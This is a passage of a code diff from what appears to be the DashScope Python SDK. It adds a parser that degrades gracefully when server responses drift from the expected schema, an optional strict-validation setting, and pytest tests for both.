typing import Any, Awaitable, Callable, Dict, List, Optional, Tuple, Union +from typing import ( + TYPE_CHECKING, + Any, + Awaitable, + Callable, + Dict, + List, + Optional, + Tuple, + Union, +) from dashscope.errors import check_response, response_json from dashscope.resources._blocking import run_blocking @@ -42,6 +52,9 @@ ) from dashscope.types.common import with_headers +if TYPE_CHECKING: + import httpx + __all__ = [ "AsyncImages", "Images", @@ -255,7 +268,12 @@ def _build_multimodal_body( return body -def _parse_sync_job(payload: Dict[str, Any]) -> Job: +def _parse_sync_job( + payload: Dict[str, Any], + *, + strict: bool = False, + response: Optional[httpx.Response] = None, +) -> Job: """Wrap a one-shot multimodal answer in the unified Job contract. A sync response carries no task fields; mark it finished so @@ -265,7 +283,7 @@ def _parse_sync_job(payload: Dict[str, Any]) -> Job: output = payload.get("output") if isinstance(output, dict) and not payload.get("code"): output.setdefault("task_status", SUCCEEDED) - return Job.from_payload(payload) + return Job.from_payload(payload, strict=strict, response=response) class ImageJobs: @@ -513,7 +531,11 @@ def generate( raise_on_error=self._client.raise_on_error, ) return with_headers( - _parse_sync_job(response_json(response)), + _parse_sync_job( + response_json(response), + strict=self._client.config.strict_validation, + response=response, + ), response, ) job = self.jobs.create( @@ -783,7 +805,11 @@ async def generate( raise_on_error=self._client.raise_on_error, ) return with_headers( - _parse_sync_job(response_json(response)), + _parse_sync_job( + response_json(response), + strict=self._client.config.strict_validation, + response=response, + ), response, ) job = await self.jobs.create( diff --git a/dashscope/resources/models.py b/dashscope/resources/models.py index 41be7f31..9133c35b 100644 --- a/dashscope/resources/models.py +++ b/dashscope/resources/models.py @@ -4,7 +4,7 @@ from __future__ import annotations -from typing import Any, Dict, List, Mapping, Optional +from typing import TYPE_CHECKING, Any, Dict, List, Mapping, Optional from pydantic import AliasChoices, Field @@ -15,12 +15,16 @@ response_json, ) from dashscope.transport._options import request_options +from dashscope.types._parse import parse_model from dashscope.types.common import ( ResponseBase, response_envelope, with_headers, ) +if TYPE_CHECKING: + import httpx + _BASE_PATH = "/models" MODULE = "models" @@ -54,7 +58,12 @@ class ModelList(ResponseBase): models: List[Model] = [] -def _parse_list(body: Dict[str, Any]) -> ModelList: +def _parse_list( + body: Dict[str, Any], + *, + strict: bool = False, + response: Optional[httpx.Response] = None, +) -> ModelList: # ``get`` is this same endpoint filtered by query params, and the # native envelope nests its page under ``output``; ``data`` stays # accepted for gateways that re-wrap the page OpenAI-style. @@ -66,12 +75,17 @@ def _parse_list(body: Dict[str, Any]) -> ModelList: total = data.get("total", len(models)) else: models, page_no, page_size, total = data, 1, 10, len(data) - return ModelList( - page_no=page_no, - page_size=page_size, - total_count=total, - models=models, - **response_envelope(body), + return parse_model( + ModelList, + { + "page_no": page_no, + "page_size": page_size, + "total_count": total, + "models": models, + **response_envelope(body), + }, + strict=strict, + response=response, ) @@ -128,7 +142,11 @@ def list( ), ) check_response(response, raise_on_error=self._client.raise_on_error) - result = _parse_list(response_json(response)) + result = _parse_list( + response_json(response), + strict=self._client.config.strict_validation, + response=response, + ) if provider: result.models = [ m for m in result.models if _match_provider(m, provider) @@ -172,9 +190,25 @@ def get( body=body, headers=response.headers, ) - return with_headers(Model(**response_envelope(body)), response) + return with_headers( + parse_model( + Model, + response_envelope(body), + strict=self._client.config.strict_validation, + response=response, + ), + response, + ) return with_headers( - Model(**models[0], **response_envelope(body)), + parse_model( + Model, + # Dict merge, not ``**`` twice: a wire entry carrying an + # envelope key of its own would otherwise raise a + # duplicate-keyword TypeError instead of being parsed. + {**models[0], **response_envelope(body)}, + strict=self._client.config.strict_validation, + response=response, + ), response, ) @@ -211,7 +245,11 @@ async def list( ), ) check_response(response, raise_on_error=self._client.raise_on_error) - result = _parse_list(response_json(response)) + result = _parse_list( + response_json(response), + strict=self._client.config.strict_validation, + response=response, + ) if provider: result.models = [ m for m in result.models if _match_provider(m, provider) @@ -255,8 +293,24 @@ async def get( body=body, headers=response.headers, ) - return with_headers(Model(**response_envelope(body)), response) + return with_headers( + parse_model( + Model, + response_envelope(body), + strict=self._client.config.strict_validation, + response=response, + ), + response, + ) return with_headers( - Model(**models[0], **response_envelope(body)), + parse_model( + Model, + # Dict merge, not ``**`` twice: a wire entry carrying an + # envelope key of its own would otherwise raise a + # duplicate-keyword TypeError instead of being parsed. + {**models[0], **response_envelope(body)}, + strict=self._client.config.strict_validation, + response=response, + ), response, ) diff --git a/dashscope/transport/sse.py b/dashscope/transport/sse.py index 1dfb6245..ad7dfb50 100644 --- a/dashscope/transport/sse.py +++ b/dashscope/transport/sse.py @@ -31,8 +31,13 @@ import httpx from httpx_sse import EventSource +from pydantic import ValidationError -from dashscope.errors import DashScopeError, error_from_business_code +from dashscope.errors import ( + APIResponseValidationError, + DashScopeError, + error_from_business_code, +) T = TypeVar("T") @@ -91,6 +96,31 @@ def _next_event( return body +def _parse_event( + parse: Callable[[Dict[str, Any]], Any], + body: Dict[str, Any], + response: httpx.Response, +) -> Any: + """Run one event's parser, converting a bare ValidationError. + + Chat parsers go through ``parse_model``, which degrades a drifted + body instead of raising, so this only fires for a parser that + validates on its own. It is still worth catching: a raw pydantic + error is not a ``DashScopeError``, so a caller's handler would miss + it -- mid-iteration, after earlier chunks were already consumed. + The stream cannot degrade here because it does not know the model + class, so converting is the floor rather than a fallback. + """ + try: + return parse(body) + except ValidationError as exc: + raise APIResponseValidationError( + response=response, + body=body, + cause=exc, + ) from exc + + class Stream(Generic[T]): """Typed iterator over SSE chunks; in-stream errors raise.""" @@ -108,7 +138,7 @@ def __iter__(self) -> Iterator[T]: body = _next_event(sse.data, self._response.headers) if body is None: continue - chunk = self._parse(body) + chunk = _parse_event(self._parse, body, self._response) if chunk is not None: yield chunk finally: @@ -141,7 +171,7 @@ async def _iterate(self): body = _next_event(sse.data, self._response.headers) if body is None: continue - chunk = self._parse(body) + chunk = _parse_event(self._parse, body, self._response) if chunk is not None: yield chunk finally: diff --git a/dashscope/types/_parse.py b/dashscope/types/_parse.py new file mode 100644 index 00000000..c74f4d47 --- /dev/null +++ b/dashscope/types/_parse.py @@ -0,0 +1,504 @@ +# -*- coding: utf-8 -*- +# Copyright (c) Alibaba, Inc. and its affiliates. +"""Fault-tolerant construction of server response models. + +A gateway that adds a field, renames one, or starts sending a string +where an ``int`` used to be is not an outage -- but a bare +``Model(**body)`` turns it into a :class:`pydantic.ValidationError` +escaping the SDK, which no ``except DashScopeError`` can catch. Every +server-facing model here is already ``extra="allow"``, so unknown keys +survive; what breaks it is a *typed* field whose value drifted, or a +required field the server stopped sending. + +:func:`parse_model` degrades instead of raising: the offending fields +alone are repaired, the rest of the body keeps its full validation, and +the drift is recorded at ``debug`` level. ``strict=True`` opts out and +raises :class:`~dashscope.errors.APIResponseValidationError`, which is +what contract testing and CI want -- silence is the wrong default there. + +Repairing only the failing fields and then re-validating the whole body +is deliberate, and is why this is not a ``model_construct`` wrapper. +``model_construct`` skips ``mode="after"`` validators, so a degraded +error response would report ``is_error=False`` and masquerade as a +success; it also leaves nested models as plain dicts, so +``completion.usage.input_tokens`` would raise ``AttributeError`` on an +object whose healthy twin has a ``Usage`` there. A second +``model_validate`` pass has neither problem, because pydantic lets +already-constructed instances through untouched. ``model_construct`` is +kept only as the last resort for a body whose individually repaired +fields still fail together, and that path re-runs the after-validators +by hand. + +Values that cannot be repaired fall back to the field's default, or to +a zero value shaped like its annotation. List elements are replaced in +place rather than dropped: downstream code indexes by position (tool +call merging, embedding dimensions), so a shorter list would silently +misalign it. +""" + +from __future__ import annotations + +import threading +from typing import ( + Any, + Dict, + List, + Mapping, + Optional, + Tuple, + Type, + TypeVar, + Union, + get_args, + get_origin, +) + +import httpx +from pydantic import AliasChoices, BaseModel, TypeAdapter, ValidationError +from pydantic.fields import FieldInfo + +from dashscope._logging import get_logger +from dashscope.errors import APIResponseValidationError + +__all__ = ["parse_model"] + +logger = get_logger("parse") + +_ModelT = TypeVar("_ModelT", bound=BaseModel) + +# Both caches are bounded by the model catalog, not by traffic, and are +# only ever touched on the degraded path -- a well-formed response never +# pays for an adapter. +_LOCK = threading.Lock() +_ALIAS_MAPS: Dict[type, Dict[str, str]] = {} +_ADAPTERS: Dict[Tuple[type, str], TypeAdapter] = {} + +_SEQUENCE_ORIGINS = (list, tuple, set, frozenset) + +# Ordered: ``bool`` must be tested before ``int``, whose subclass it is. +_ZERO_BY_TYPE: Tuple[Tuple[type, Any], ...] = ( + (bool, False), + (int, 0), + (float, 0.0), + (str, ""), +) + + +def parse_model( + cls: Type[_ModelT], + data: Mapping[str, Any], + *, + strict: bool = False, + response: Optional[httpx.Response] = None, +) -> _ModelT: + """Build ``cls`` from a server body, degrading rather than raising. + + ``strict`` raises :class:`~dashscope.errors.APIResponseValidationError` + carrying ``response`` and the raw ``body`` instead of degrading. It + fires even when a resource is in non-raising (``raise_on_error=False``) + mode: a schema assertion the caller opted into is not a service + error to be reported through the response envelope. + """ + if not isinstance(data, Mapping): + # There are no fields to repair, and salvage would die on + # ``dict(data)`` with a bare TypeError or ValueError -- exactly + # the escape this module exists to prevent. + if strict: + raise APIResponseValidationError(response=response, body=data) + logger.debug( + "response drift: %s got %s where a mapping was expected; " + "degraded parse applied", + cls.__name__, + type(data).__name__, + ) + return _zero_model(cls) + try: + return cls.model_validate(data) + except ValidationError as exc: + error_count = len(exc.errors()) + if strict: + logger.debug( + "response drift: %s failed strict validation (%d error(s))", + cls.__name__, + error_count, + ) + raise APIResponseValidationError( + response=response, + body=dict(data), + cause=exc, + ) from exc + salvaged = _salvage(cls, data, exc) + logger.debug( + "response drift: %s failed validation (%d error(s)); " + "degraded parse applied", + cls.__name__, + error_count, + ) + try: + return cls.model_validate(salvaged) + except ValidationError: + # Individually valid fields that still fail together mean a + # cross-field invariant; only constructing can keep the body. + return _construct_degraded(cls, salvaged) + + +def _alias_map(cls: type) -> Dict[str, str]: + """Map every input key a field answers to back to its field name. + + ``ValidationError`` reports the key it actually read, which for an + aliased field is the alias (``open_source``, not the field name), so + resolving a drift location needs the reverse of pydantic's aliasing. + """ + with _LOCK: + cached = _ALIAS_MAPS.get(cls) + if cached is not None: + return cached + out: Dict[str, str] = {} + for name, info in cls.model_fields.items(): + out[name] = name + for key in _alias_keys(info): + out.setdefault(key, name) + _ALIAS_MAPS[cls] = out + return out + + +def _alias_keys(info: FieldInfo) -> List[str]: + alias = info.validation_alias + if isinstance(alias, str): + return [alias] + if isinstance(alias, AliasChoices): + # AliasPath entries address a nested location, not a top-level + # key, so there is no root to map and they are skipped. + return [c for c in alias.choices if isinstance(c, str)] + return [] + + +def _adapter(cls: type, name: str) -> TypeAdapter: + key = (cls, name) + with _LOCK: + cached = _ADAPTERS.get(key) + if cached is not None: + return cached + adapter = TypeAdapter(cls.model_fields[name].rebuild_annotation()) + _ADAPTERS[key] = adapter + return adapter + + +def _salvage( + cls: type, + data: Mapping[str, Any], + exc: ValidationError, +) -> Dict[str, Any]: + """A copy of ``data`` with only the failing fields repaired. + + Error-driven rather than a sweep of every field: healthy fields and + ``extra="allow"`` extras are carried over untouched, so a large + well-formed payload is not re-validated piece by piece. + """ + out = dict(data) + fields = cls.model_fields + aliases = _alias_map(cls) + for err in exc.errors(): + loc = err.get("loc") or () + if not loc or not isinstance(loc[0], str): + continue + root = loc[0] + name = aliases.get(root) + info = fields.get(name) if name is not None else None + if info is None: + # Not a field this model knows about; dropping it is the + # only repair available, and extra keys are not load-bearing. + logger.debug( + "response drift: %s.%s: unrecoverable location; dropped", + cls.__name__, + root, + ) + out.pop(root, None) + continue + if err.get("type") == "missing": + if len(loc) == 1: + fallback = _field_fallback(info) + # ``root`` is the key pydantic itself looked for, which + # for an aliased field is the alias -- writing the field + # name would not populate it. + out[root] = fallback + _log_drift(cls, name, "missing", None, fallback) + elif root in out: + # The gap is nested: zeroing the whole root would throw + # away the siblings pydantic already accepted, so repair + # at the depth the error actually names. + original = out[root] + repaired = _salvage_value(cls, name, info, original, loc[1:]) + out[root] = repaired + _log_drift(cls, name, "missing", original, repaired, loc[1:]) + continue + if root not in out: + continue + original = out[root] + repaired = _salvage_value(cls, name, info, original, loc[1:]) + out[root] = repaired + _log_drift(cls, name, err.get("type"), original, repaired, loc[1:]) + return out + + +def _salvage_value( + cls: type, + name: str, + info: FieldInfo, + raw: Any, + sub_loc: Tuple[Any, ...], +) -> Any: + """Repair one field's value, keeping its shape where possible. + + ``sub_loc`` is the remainder of a single error path below the root + key -- one error at a time, so two errors on the same list arrive as + two calls, each repairing one index of the value the first returned. + """ + if isinstance(raw, BaseModel): + # A sibling error under the same root already repaired this + # field into a model instance, and pydantic passes instances + # through untouched. Falling through to the fallback below would + # discard that repair -- and with it every healthy subfield. + return raw + annotation = _unwrap_optional(info.rebuild_annotation()) + origin = get_origin(annotation) + + if origin in _SEQUENCE_ORIGINS: + args = get_args(annotation) + index = sub_loc[0] if sub_loc else None + if isinstance(raw, (list, tuple)) and args and isinstance(index, int): + return _salvage_sequence(cls, name, args[0], raw, index) + # The complaint is about the list itself, not one element. + return _field_fallback(info) + + if ( + isinstance(annotation, type) + and issubclass(annotation, BaseModel) + and isinstance(raw, Mapping) + ): + return _salvage_model(annotation, raw) + + return _field_fallback(info) + + +def _salvage_sequence( + cls: type, + name: str, + item_type: Any, + raw: Any, + index: int, +) -> Any: + """Repair one element of a list, keeping every index in place. + + Only the position pydantic named is touched, so a 1000-dimension + embedding costs one repair rather than a thousand validations, and + a caller that indexes by position stays aligned. + """ + out = list(raw) + if 0 <= index < len(out): + out[index] = _salvage_item(cls, name, item_type, out[index]) + return out + + +def _salvage_item(cls: type, name: str, item_type: Any, raw: Any) -> Any: + if isinstance(raw, BaseModel): + # Already repaired by an earlier error on this same list; the + # zero below would replace a good element with an empty one. + return raw + item_type = _unwrap_optional(item_type) + if isinstance(item_type, type) and issubclass(item_type, BaseModel): + if isinstance(raw, Mapping): + return _salvage_model(item_type, raw) + return _zero(item_type) + try: + return TypeAdapter(item_type).validate_python(raw) + except ValidationError as exc: + errors = exc.errors() + logger.debug( + "response drift: %s.%s[]: expected %s, got %s (%s)", + cls.__name__, + name, + _type_name(item_type), + type(raw).__name__, + errors[0].get("type") if errors else "invalid", + ) + return _zero(item_type) + + +def _salvage_model(model_cls: Type[BaseModel], raw: Mapping[str, Any]) -> Any: + """Validate a nested body, degrading it the same way the parent did.""" + try: + return model_cls.model_validate(raw) + except ValidationError as exc: + salvaged = _salvage(model_cls, raw, exc) + try: + return model_cls.model_validate(salvaged) + except ValidationError: + return _construct_degraded(model_cls, salvaged) + + +def _field_fallback(info: FieldInfo) -> Any: + if not info.is_required(): + return info.get_default(call_default_factory=True) + return _zero(info.rebuild_annotation()) + + +def _zero(annotation: Any) -> Any: + """An empty value shaped like ``annotation``. + + A required nested model becomes a real instance built from zeroed + required fields, so ``choice.message.role`` still resolves on a + degraded object instead of raising ``AttributeError``. + """ + annotation = _unwrap_optional(annotation) + if annotation is None or annotation is Any: + return None + if isinstance(annotation, type): + if issubclass(annotation, BaseModel): + return _zero_model(annotation) + for candidate, empty in _ZERO_BY_TYPE: + if issubclass(annotation, candidate): + return empty + if issubclass(annotation, (list, tuple, set, frozenset, dict)): + return annotation() + return _zero_parameterised(get_origin(annotation)) + + +def _zero_parameterised(origin: Any) -> Any: + """Zero for ``List[X]`` / ``Dict[K, V]``, where origin is not a type.""" + if origin in _SEQUENCE_ORIGINS: + return [] + if origin is dict: + return {} + return None + + +def _zero_model(model_cls: Type[BaseModel]) -> Any: + required = { + name: _zero(info.rebuild_annotation()) + for name, info in model_cls.model_fields.items() + if info.is_required() + } + try: + return model_cls.model_validate(required) + except ValidationError: + return model_cls.model_construct(**required) + + +def _construct_degraded( + cls: Type[_ModelT], + salvaged: Mapping[str, Any], +) -> _ModelT: + """Last resort: build without validation, then restore invariants. + + ``model_construct`` ignores aliases, so alias-keyed entries are + renamed to field names first; anything left over is an extra and + rides along, which ``extra="allow"`` keeps readable. + """ + fields = cls.model_fields + aliases = _alias_map(cls) + kwargs: Dict[str, Any] = {} + extras: Dict[str, Any] = {} + for key, value in salvaged.items(): + if key in fields: + kwargs[key] = value + else: + extras[key] = value + for key, value in salvaged.items(): + name = aliases.get(key) + if name is not None and name not in kwargs: + kwargs[name] = value + instance = cls.model_construct(**kwargs, **extras) + _rerun_after_validators(cls, instance) + return instance + + +def _rerun_after_validators(cls: type, instance: BaseModel) -> None: + """Re-apply ``mode="after"`` validators ``model_construct`` skipped. + + Without this a degraded body carrying a business ``code`` would + report ``is_error=False`` and read as a success. ``before`` and + ``wrap`` validators are not re-run: they transform raw input, and + feeding them an already-built instance is not what they were + written for. + """ + decorators = getattr(cls, "__pydantic_decorators__", None) + validators = getattr(decorators, "model_validators", None) + if not validators: + return + for name, decorator in validators.items(): + mode = getattr(getattr(decorator, "info", None), "mode", None) + if mode != "after": + logger.debug( + "response drift: %s: skipped %s validator %s on " + "degraded instance", + cls.__name__, + mode, + name, + ) + continue + func = getattr(decorator, "func", None) + if func is None: + continue + try: + func(instance) + except Exception as exc: # pylint: disable=broad-except + logger.debug( + "response drift: %s: after-validator %s failed on " + "degraded instance: %s", + cls.__name__, + name, + type(exc).__name__, + ) + + +def _unwrap_optional(annotation: Any) -> Any: + if get_origin(annotation) is Union: + args = [a for a in get_args(annotation) if a is not type(None)] + if len(args) == 1: + return args[0] + return annotation + + +def _type_name(annotation: Any) -> str: + if isinstance(annotation, type): + return annotation.__name__ + return str(annotation).replace("typing.", "") + + +def _log_drift( + cls: type, + name: str, + reason: Optional[str], + raw: Any, + repaired: Any, + sub_locs: Tuple[Any, ...] = (), +) -> None: + """Record one repaired field. + + The raw *value* is never logged -- a response body carries user + prompts and model output, and the redaction filter is key-oriented + so it would not catch them. The value's type says enough to + recognise the drift. + """ + path = ".".join(str(part) for part in (name,) + tuple(sub_locs)) + if sub_locs: + # The leaf was already logged, with its own type, by the nested + # salvage; ``raw`` here is the enclosing container, so reporting + # its type against the leaf's reason would misdescribe the drift. + logger.debug( + "response drift: %s.%s: repaired at %s (%s)", + cls.__name__, + name, + path, + reason or "invalid", + ) + return + logger.debug( + "response drift: %s.%s: %s (got %s); replaced with %s", + cls.__name__, + path, + reason or "invalid", + type(raw).__name__ if raw is not None else "absent", + type(repaired).__name__, + ) diff --git a/dashscope/types/completions.py b/dashscope/types/completions.py index 9e579472..e5a510ec 100644 --- a/dashscope/types/completions.py +++ b/dashscope/types/completions.py @@ -4,13 +4,17 @@ from __future__ import annotations -from typing import Any, Dict, List, Optional +from typing import TYPE_CHECKING, Any, Dict, List, Optional from pydantic import BaseModel, ConfigDict +from dashscope.types._parse import parse_model from dashscope.types.common import ResponseBase, Usage from dashscope.types.messages import ToolCall +if TYPE_CHECKING: + import httpx + __all__ = [ "ChatCompletion", "ChatCompletionChunk", @@ -116,11 +120,29 @@ def _flatten_content(content: Any) -> Any: return content -def _canonical_choices(output: Dict[str, Any]) -> List[Dict[str, Any]]: +def _output(body: Dict[str, Any]) -> Dict[str, Any]: + """``body["output"]`` when it is a mapping, else empty. + + A drifted ``output`` (a string, a number) has no choices or + ``search_info`` to read, and ``.get`` on it would escape as a bare + ``AttributeError`` instead of reaching ``parse_model``. + """ + output = body.get("output") + return output if isinstance(output, dict) else {} + + +def _canonical_choices(output: Dict[str, Any]) -> List[Any]: choices = output.get("choices") if choices: canonical = [] for raw in choices: + if not isinstance(raw, dict): + # ``dict(raw)`` on a string or number would escape as a + # bare ValueError/TypeError. Passing it through keeps the + # element count, so parse_model repairs it in place and + # the healthy choices stay positionally aligned. + canonical.append(raw) + continue raw = dict(raw) for key in ("message", "delta"): msg = raw.get(key) @@ -142,29 +164,50 @@ def _canonical_choices(output: Dict[str, Any]) -> List[Dict[str, Any]]: return [] -def parse_completion(body: Dict[str, Any]) -> ChatCompletion: - output = body.get("output") or {} - return ChatCompletion( - request_id=body.get("request_id"), - model=body.get("model"), - choices=_canonical_choices(output), - usage=body.get("usage"), - search_info=output.get("search_info"), +def parse_completion( + body: Dict[str, Any], + *, + strict_validation: bool = False, + response: Optional[httpx.Response] = None, +) -> ChatCompletion: + output = _output(body) + return parse_model( + ChatCompletion, + { + "request_id": body.get("request_id"), + "model": body.get("model"), + "choices": _canonical_choices(output), + "usage": body.get("usage"), + "search_info": output.get("search_info"), + }, + strict=strict_validation, + response=response, ) -def parse_chunk(body: Dict[str, Any]) -> ChatCompletionChunk: - output = body.get("output") or {} +def parse_chunk( + body: Dict[str, Any], + *, + strict_validation: bool = False, + response: Optional[httpx.Response] = None, +) -> ChatCompletionChunk: + output = _output(body) choices = [] for raw in _canonical_choices(output): - raw = dict(raw) - if "message" in raw: - raw["delta"] = raw.pop("message") + if isinstance(raw, dict): + raw = dict(raw) + if "message" in raw: + raw["delta"] = raw.pop("message") choices.append(raw) - return ChatCompletionChunk( - request_id=body.get("request_id"), - model=body.get("model"), - choices=choices, - usage=body.get("usage"), - search_info=output.get("search_info"), + return parse_model( + ChatCompletionChunk, + { + "request_id": body.get("request_id"), + "model": body.get("model"), + "choices": choices, + "usage": body.get("usage"), + "search_info": output.get("search_info"), + }, + strict=strict_validation, + response=response, ) diff --git a/tests/test_config.py b/tests/test_config.py index f6177a76..ed408bca 100644 --- a/tests/test_config.py +++ b/tests/test_config.py @@ -14,6 +14,7 @@ DEFAULT_MAX_RETRIES, DEFAULT_PROTOCOL, DEFAULT_REGION, + DEFAULT_STRICT_VALIDATION, DEFAULT_TIMEOUT, LEGACY_GATEWAY_HOSTS, LEGACY_WS_GATEWAY_HOSTS, @@ -47,6 +48,7 @@ def clean_env(monkeypatch, tmp_path): "DASHSCOPE_PROTOCOL", "DASHSCOPE_TIMEOUT", "DASHSCOPE_MAX_RETRIES", + "DASHSCOPE_STRICT_VALIDATION", "DASHSCOPE_CONFIG", ): monkeypatch.delenv(name, raising=False) @@ -114,6 +116,10 @@ def test_defaults(clean_env, tmp_path): max_retries=DEFAULT_MAX_RETRIES, protocol_base_url=_WS_GATEWAY, ) + # Spelled out even though both sides default to it: degradation is + # the shipped behaviour, so a flipped default must fail here loudly. + assert cfg.strict_validation is DEFAULT_STRICT_VALIDATION + assert cfg.strict_validation is False def test_protocol_default_base_url(clean_env, tmp_path): @@ -658,3 +664,153 @@ async def test_async_with_options(clean_env, tmp_path): await derived.aclose() assert not client.transport.http_client.is_closed await client.aclose() + + +def test_strict_validation_defaults_to_false(clean_env, tmp_path): + from dashscope._config import settings + + cfg = resolve_config( + workspace="ws-123", + config_path=tmp_path / "absent.toml", + ) + assert cfg.strict_validation is False + assert settings.strict_validation is False + assert cfg.strict_validation is DEFAULT_STRICT_VALIDATION + bare = Config( + api_key=None, + base_url=_WS_GATEWAY, + workspace="ws-123", + protocol=DEFAULT_PROTOCOL, + timeout=DEFAULT_TIMEOUT, + max_retries=DEFAULT_MAX_RETRIES, + protocol_base_url=_WS_GATEWAY, + ) + assert bare.strict_validation is False + + +def test_strict_validation_env_truthy_spellings(clean_env, tmp_path): + absent = tmp_path / "absent.toml" + for raw in ("1", "true", "TRUE", "Yes", "on", "t", "y"): + clean_env.setenv("DASHSCOPE_STRICT_VALIDATION", raw) + cfg = resolve_config(workspace="ws-123", config_path=absent) + assert cfg.strict_validation is True, raw + + +def test_strict_validation_env_zero_is_false_not_truthy(clean_env, tmp_path): + # A non-empty string is truthy in Python, so reading the env with + # bare truthiness (or ``bool(raw)``) would turn "off" into "on". + absent = tmp_path / "absent.toml" + for raw in ("0", "false", "FALSE", "No", "off", "f", "n"): + clean_env.setenv("DASHSCOPE_STRICT_VALIDATION", raw) + cfg = resolve_config(workspace="ws-123", config_path=absent) + assert cfg.strict_validation is False, raw + + +def test_strict_validation_env_empty_counts_as_unset(clean_env, tmp_path): + clean_env.setenv("DASHSCOPE_STRICT_VALIDATION", "") + cfg = resolve_config( + workspace="ws-123", + config_path=tmp_path / "absent.toml", + ) + assert cfg.strict_validation is False + + +def test_strict_validation_env_garbage_names_the_variable(clean_env): + clean_env.setenv("DASHSCOPE_STRICT_VALIDATION", "maybe") + with pytest.raises(ValueError, match="DASHSCOPE_STRICT_VALIDATION"): + resolve_config(config_path="/nonexistent/config.toml") + + +def test_strict_validation_param_beats_env(clean_env, tmp_path): + absent = tmp_path / "absent.toml" + clean_env.setenv("DASHSCOPE_STRICT_VALIDATION", "true") + cfg = resolve_config( + strict_validation=False, + workspace="ws-123", + config_path=absent, + ) + assert cfg.strict_validation is False + clean_env.delenv("DASHSCOPE_STRICT_VALIDATION") + cfg = resolve_config( + strict_validation=True, + workspace="ws-123", + config_path=absent, + ) + assert cfg.strict_validation is True + + +def test_strict_validation_from_config_file(clean_env, tmp_path): + path = _write_config( + tmp_path, + 'workspace = "ws-123"\nstrict_validation = true\n', + ) + assert resolve_config(config_path=path).strict_validation is True + # The env outranks the file, as for every other knob. + clean_env.setenv("DASHSCOPE_STRICT_VALIDATION", "0") + assert resolve_config(config_path=path).strict_validation is False + + +def test_strict_validation_quoted_config_file_value_is_coerced( + clean_env, + tmp_path, +): + # ``bool("false")`` is True, so a hand-written config that quotes the + # value has to go through the same truth table as the env does. + path = _write_config( + tmp_path, + 'workspace = "ws-123"\nstrict_validation = "false"\n', + ) + assert resolve_config(config_path=path).strict_validation is False + + +def test_client_kwarg_beats_env_for_strict_validation(clean_env, tmp_path): + clean_env.setenv("DASHSCOPE_STRICT_VALIDATION", "true") + client = Client( + api_key="k", + workspace="ws-123", + strict_validation=False, + config_path=tmp_path / "absent.toml", + ) + assert client.config.strict_validation is False + client.close() + + +def test_strict_validation_survives_with_options(clean_env, tmp_path): + client = Client( + api_key="k", + workspace="ws-123", + strict_validation=True, + config_path=tmp_path / "absent.toml", + ) + assert client.config.strict_validation is True + # with_options rebuilds a client from an explicit field list instead + # of cloning Config, so a field left off that list is silently + # dropped on the derived client. + derived = client.with_options(max_retries=0) + assert derived.config.strict_validation is True + relaxed = client.with_options(strict_validation=False) + assert relaxed.config.strict_validation is False + derived.close() + relaxed.close() + client.close() + + +@pytest.mark.asyncio +async def test_async_strict_validation_survives_with_options( + clean_env, + tmp_path, +): + client = AsyncClient( + api_key="k", + workspace="ws-123", + strict_validation=True, + config_path=tmp_path / "absent.toml", + ) + assert client.config.strict_validation is True + derived = client.with_options(max_retries=0) + assert derived.config.strict_validation is True + relaxed = client.with_options(strict_validation=False) + assert relaxed.config.strict_validation is False + await derived.aclose() + await relaxed.aclose() + await client.aclose() diff --git a/tests/test_parse_model.py b/tests/test_parse_model.py new file mode 100644 index 00000000..b54b47f7 --- /dev/null +++ b/tests/test_parse_model.py @@ -0,0 +1,411 @@ +# -*- coding: utf-8 -*- +# Copyright (c) Alibaba, Inc. and its affiliates. +"""Tests for fault-tolerant response parsing (T2).""" + +# pytest fixture injection looks like unused/redefined names to pylint. +# pylint: disable=redefined-outer-name,unused-argument + +from __future__ import annotations + +import logging +from typing import Optional + +import httpx +import pytest +from pydantic import BaseModel, ConfigDict +from pydantic import ValidationError, model_validator + +from dashscope.errors import APIResponseValidationError, DashScopeError +from dashscope.resources.models import Model +from dashscope.types._parse import parse_model +from dashscope.types.common import Usage +from dashscope.types.completions import ( + ChatCompletion, + ChatCompletionMessage, + Choice, +) +from dashscope.types.messages import TextPart, ToolCall + + +def _resp(status, body=None, headers=None): + return httpx.Response( + status, + json=body, + headers=headers or {}, + request=httpx.Request("POST", "https://api.test.local/x"), + ) + + +def _completion(**overrides): + body = { + "request_id": "req-1", + "choices": [ + { + "index": 0, + "message": {"role": "assistant", "content": "hi"}, + }, + ], + } + body.update(overrides) + return body + + +# -------------------------------------------------------------------------- +# Happy path +# -------------------------------------------------------------------------- + + +def test_a_wellformed_body_parses_exactly_as_plain_validation(): + body = _completion(usage={"input_tokens": 3, "output_tokens": 4}) + assert parse_model(ChatCompletion, body) == ( + ChatCompletion.model_validate(body) + ) + + +def test_a_wellformed_body_logs_no_drift(caplog): + # The degraded path has to stay invisible when nothing drifted, or + # the debug record stops meaning anything. + with caplog.at_level(logging.DEBUG, logger="dashscope._logging"): + parse_model(ChatCompletion, _completion()) + drift = [r for r in caplog.records if "response drift" in r.getMessage()] + assert not drift + + +# -------------------------------------------------------------------------- +# Degradation: the crash this exists to prevent +# -------------------------------------------------------------------------- + + +def test_field_type_drift_degrades_instead_of_raising(): + # ``usage`` arrives as a string: before this, a bare ChatCompletion() + # let a raw pydantic ValidationError escape to the caller. + body = _completion(usage="unlimited") + parsed = parse_model(ChatCompletion, body) + assert parsed.usage is None + # Everything healthy still parsed. + assert parsed.request_id == "req-1" + assert parsed.output_text == "hi" + + +def test_several_drifted_fields_are_all_repaired_in_one_pass(): + body = _completion(usage="unlimited", search_info="none", model=7) + body["choices"][0]["index"] = "zero" + parsed = parse_model(ChatCompletion, body) + assert parsed.usage is None + assert parsed.search_info is None + assert parsed.model is None + assert parsed.choices[0].index == 0 + assert parsed.output_text == "hi" + + +def test_a_degraded_parse_keeps_nested_models_as_instances(): + # ``model_construct`` would leave ``usage`` a plain dict, so + # ``parsed.usage.input_tokens`` raises AttributeError on an object + # whose healthy twin has a Usage there. + parsed = parse_model( + ChatCompletion, + _completion(usage={"input_tokens": "many", "output_tokens": 5}), + ) + assert isinstance(parsed.usage, Usage) + assert parsed.usage.output_tokens == 5 + assert parsed.usage.input_tokens == 0 + + +def test_a_missing_required_nested_field_becomes_a_zeroed_instance(): + # Choice.message is required; a server that drops it must not turn + # every downstream ``.message.role`` read into an AttributeError. + parsed = parse_model(Choice, {"index": 0}) + assert isinstance(parsed.message, ChatCompletionMessage) + assert parsed.message.role == "assistant" + + +def test_the_business_error_flag_survives_a_degraded_parse(): + # ``is_error`` comes from a mode="after" validator. Skipping it would + # let a degraded error response masquerade as a success, which is + # worse than the crash this path replaces. + parsed = parse_model( + 